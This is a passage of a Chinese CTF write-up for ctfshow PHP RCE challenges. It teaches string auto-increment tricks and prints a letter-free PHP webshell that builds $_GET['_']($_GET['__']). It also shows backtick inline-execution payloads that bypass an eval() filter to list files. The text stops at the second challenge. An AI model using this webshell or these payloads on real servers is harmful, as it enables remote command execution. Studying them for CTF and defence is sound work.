ctfshow RCE极限挑战 wp

本文详细介绍了PHP自增操作的应用技巧,并通过五个RCE挑战题目的实战解析,展示了如何利用自增实现命令执行及参数传递,适合CTF爱好者及Web安全研究人员学习。

这五题都做出来,真的不容易呀,最终终于是在比赛结束以前全部做完了,拿到了十几块钱,是一个星期的早餐了,嘿嘿嘿嘿,哎,不过对于,自增的理解可以说是提升很多很多,这里主要讲的自增,主要详细讲解他是怎么用的。

目录

基本

题目详解

RCE挑战1

RCE挑战2

RCE挑战3

RCE挑战4

RCE挑战5


基本

我们首先我们要知道自增,在ctf中主要就是用于命令执行的无参执行,在php本身用的就是主要就是循环比较多。

<?php
//这里定义$a='a';
$a = 'a';
$a++;
echo $a; //b

$b = 'b';
$b--;
echo $b; //b

这里我们定义一个a的变量,赋值为a,进行自增之后就是变成b了,这里是根据ascii,来自增的,但是这里我们要知道PHP的ascii是不能自减的,应该是。


a的ascii码是61,++就是相当于+1,然后就变成62,62对应的ascii码就是就是b

我们接下来,来分析一个基础的自增马,来给大家先看看

 这里就将别人的分好直接拿过来,哈哈哈

<?php
$_=[].[]; //俩数组拼接强行返回ArrayArray,这里一个短杠的值也就是ArrayArray
$__='';  //两个短杠赋值为空
$_=$_[''];//从arrayarray中取首字符,即a。这里$_=$_[0]也是一样的道理,不过waf限制数字输入
$_=++$_; //b
$_=++$_; //c
$_=++$_; //d
$_=++$_; //e
$__.=$_; //E  把两个短杠赋值为E
$_=++$_; //F  一个短杠继续自增
$_=++$_; //G 
$__=$_.$__; // GE  一个短杠自增变成了G,两个短杠在前面第十一行处已经赋值为E,拼接得GE
$_=++$_; //H 此处一个短杠继续自增,为H
$_=++$_; //I
$_=++$_; //J
$_=++$_; //k
$_=++$_; //L
$_=++$_; //M
$_=++$_; //N
$_=++$_; //O
$_=++$_; //P
$_=++$_; //Q
$_=++$_; //R
$_=++$_; //S
$_=++$_; //T
$__.=$_; // GET 在此处,两条短杠原是GE与一条短杠(已经自增为T),.=拼接,构成get
${'_'.$__}[_](${'_'.$__}[__]); // 进行拼接,$_GET['_']($_GET['__']);

首先这里提醒一下,首先自增主要用于无参执行,所以通常都是没什么东西可以用的,通常就是上面这些。


接下给大家分析一下, 我们都知道在PHP当中我们定义一个数组的时候,直接用echo或printf之类返回的时候他就会输出Array,只有使用var_dump()的时候才是输出数组的内容。


 

但是这里我们要知道他返回,但是这只是他的返回值,我们还不能使用,因为他现在还不是字符串,我们要使用英语的句号,来进行拼接,这样他就是字符串了,且赋值给了变量_,这样我们才能使用它,当然并不一定是[].[],才行,我们可以拼接很多东西都可以,例如这里就可以拼接,[]._  也是可以的


 

然后下面我们要用索引来取A了,当然取其他的也是可以的,$_['']和$_[0]是一样的,使用$_[_]也是一样的

然后在这前面我们还要了解一下这些东西。

PHP在进行计算的时候认为结果是无限大时他会返回结果是:INF ( Infinite)

这里举个列:echo (1/0);  //就会输出INF


 

当然这里提醒一下,无限小数是不行的,举例: echo (1/3); //不会返回INF


 

PHP进行计算的时候认为一个数超出Infinite,那就是: NAN( not-a-number)
这里举个例:echo (a/a); //就会输出NAN


 

要问他有什么用,这就要看上面的数组嘞,也是要取里面的字母。

然后感觉到这里就差不多了,开始讲解题目了。

题目详解

RCE挑战1

<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

$code = str_replace("(","括号",$code);

$code = str_replace(".","点",$code);

eval($code);

?>

这里审计代码发现,他是过滤了,括号和点,还是常用的这两个。
这里我们使用内联执行绕过。

?><?=`ls`;    //反引号实际上是使用shell_exec()函数
?><?=$(ls);  //这个和上面一样,不过这题好像执行不了,大家当一个扩展吧

然后?><?=`ls /`;  发现flag,cat一下就可以了

RCE挑战2

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

我们们先用脚本跑一下,看看有哪些字符还能用


                
评论 6
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

练习两年半的篮球选..哦不对安全选手

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值